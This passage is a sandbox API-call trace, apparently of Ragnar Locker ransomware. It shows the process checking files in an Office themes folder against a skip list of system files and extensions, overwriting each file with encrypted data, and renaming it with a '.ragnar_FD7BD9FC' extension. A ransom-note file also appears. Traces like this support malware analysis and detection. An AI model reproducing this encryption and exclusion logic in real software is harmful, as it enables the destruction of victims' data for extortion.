ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.161] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.161] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca6fda0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.161] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.161] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.161] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.161] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.161] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ca6fda0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7ca6fda0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.161] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0071.161] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.162] lstrcpyW (in: lpString1=0x1eab72, lpString2="BLUEPRNT.ELM" | out: lpString1="BLUEPRNT.ELM") returned="BLUEPRNT.ELM" [0071.162] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned=".ELM" [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="autorun.inf") returned 1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="boot.ini") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="bootfont.bin") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="bootsect.bak") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="bootmgr") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="bootmgr.efi") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="bootmgfw.efi") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="desktop.ini") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="iconcache.db") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="ntldr") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="ntuser.dat") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="ntuser.dat.log") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="ntuser.ini") returned -1 [0071.162] lstrcmpiW (lpString1="BLUEPRNT.ELM", lpString2="thumbs.db") returned -1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.162] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.162] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm")) returned 0x20 [0071.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.163] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=55942) returned 1 [0071.163] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xda7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.163] GetProcessHeap () returned 0x580000 [0071.163] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.163] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.224] VirtualAlloc (lpAddress=0x0, dwSize=0xda86, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.225] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.225] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.225] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xda86, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xda86, lpOverlapped=0x0) returned 1 [0071.227] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.228] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda86, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.228] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xda86, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xda86, lpOverlapped=0x0) returned 1 [0071.228] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.228] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.228] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xda86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.228] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.229] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.229] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.229] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.229] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.229] GetProcessHeap () returned 0x580000 [0071.229] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.229] CloseHandle (hObject=0x10c) returned 1 [0071.230] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" [0071.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.ragnar_FD7BD9FC" [0071.230] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.232] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0071.232] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.232] lstrcpyW (in: lpString1=0x1eab72, lpString2="BLUEPRNT.INF" | out: lpString1="BLUEPRNT.INF") returned="BLUEPRNT.INF" [0071.232] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned=".INF" [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="autorun.inf") returned 1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="boot.ini") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="bootfont.bin") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="bootsect.bak") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="bootmgr") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="bootmgr.efi") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="bootmgfw.efi") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="desktop.ini") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="iconcache.db") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="ntldr") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="ntuser.dat") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="ntuser.dat.log") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="ntuser.ini") returned -1 [0071.232] lstrcmpiW (lpString1="BLUEPRNT.INF", lpString2="thumbs.db") returned -1 [0071.232] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.232] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.232] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.233] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.233] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.233] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.233] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf")) returned 0x20 [0071.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.234] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=549) returned 1 [0071.234] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x21c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.234] GetProcessHeap () returned 0x580000 [0071.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.234] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.235] VirtualAlloc (lpAddress=0x0, dwSize=0x225, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.235] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.235] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.235] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x225, lpOverlapped=0x0) returned 1 [0071.235] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.235] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x225, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.236] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x225, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x225, lpOverlapped=0x0) returned 1 [0071.236] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x225, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.236] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.236] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.236] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.236] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.236] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.236] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.236] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.236] GetProcessHeap () returned 0x580000 [0071.236] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.236] CloseHandle (hObject=0x10c) returned 1 [0071.237] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" [0071.237] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.ragnar_FD7BD9FC" [0071.237] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.238] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.238] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.238] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0071.238] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned=".GIF" [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0071.238] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0071.239] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0071.239] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0071.239] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0071.239] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0071.239] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0071.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0071.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.239] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1925) returned 1 [0071.239] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x77c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.239] GetProcessHeap () returned 0x580000 [0071.239] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.239] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.243] VirtualAlloc (lpAddress=0x0, dwSize=0x785, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.243] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.243] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.243] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, 